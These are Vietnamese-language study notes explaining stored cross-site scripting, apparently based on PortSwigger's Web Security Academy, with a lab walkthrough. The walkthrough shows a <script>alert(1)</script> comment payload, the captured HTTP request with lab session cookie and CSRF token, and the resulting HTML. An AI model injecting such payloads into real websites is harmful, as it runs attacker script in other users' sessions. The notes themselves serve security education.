What is Stored Cross-site Scripting?

Còn được gọi là persistent XSS. Kiểu tấn công này xảy ra khi dữ liệu không tin cậy của người dùng được ứng dụng lưu lại và chèn vào các response về sau.

Giả sử trang web phép người dùng đăng bình luận. Request đăng bình luận có dạng như sau:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
 
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

Sau khi bình luận này được đăng thì bất kỳ ai truy cập trang web đều sẽ được ứng dụng trả về response có chứa đoạn code sau:

<p>This post was extremely helpful.</p>

Giả sử ứng dụng không kiểm tra input của tham số comment, attacker có thể đăng lện một bình luận có chứa mã độc như sau:

<script>/* Bad stuff here... */</script>

Comment sẽ được encode ở trong request như sau:

comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E

Khi đó, bất kỳ ai truy cập trang web thì đều nhận được mã độc từ ứng dụng:

<p><script>/* Bad stuff here... */</script></p>

Mã độc này sẽ được thực thi trong trình duyệt và session của người dùng.

Minh họa:

Lab: Stored XSS into HTML Context with Nothing Encoded

Sử dụng payload sau trong phần comment:

<script>alert(1)</script>

Request gửi đi có dạng như sau:

POST /post/comment HTTP/2
Host: 0a9100c2045076db8179485900720069.web-security-academy.net
Cookie: session=8ZpnYXaDAfdyjroawenqO78KnNYWNKPv
Content-Length: 137
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a9100c2045076db8179485900720069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9100c2045076db8179485900720069.web-security-academy.net/post?postId=6
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
csrf=u4ExsKO1qu8nkvpulXjoY8wDz65xk1QR&postId=6&comment=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&name=name&email=email%40email.com&website=

Response là một server-side redirect:

HTTP/2 302 Found
Location: /post/comment/confirmation?postId=6
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Trong comment của post với postID = 6 có chứa mã độc như sau:

<section class="comment">
	<p>
	<img src="/resources/images/avatarDefault.svg" class="avatar">                            name | 01 April 2024
	</p>
	<p><script>alert(1)</script></p>
	<p></p>
</section>

Impact of Stored XSS Attacks

Với stored XSS attack thì attacker không cần phải xúi giục user gửi request có chứa mã độc. Thay vào đó, attacker chỉ cần đặt payload vào ứng dụng rồi chờ nạn nhân tiếp xúc với nó.

How to Test for Stored Cross-site Scripting

Tương tự với Port Swigger - Reflected XSS.

list
from outgoing([[Port Swigger - Stored XSS]])
sort file.ctime asc

Resources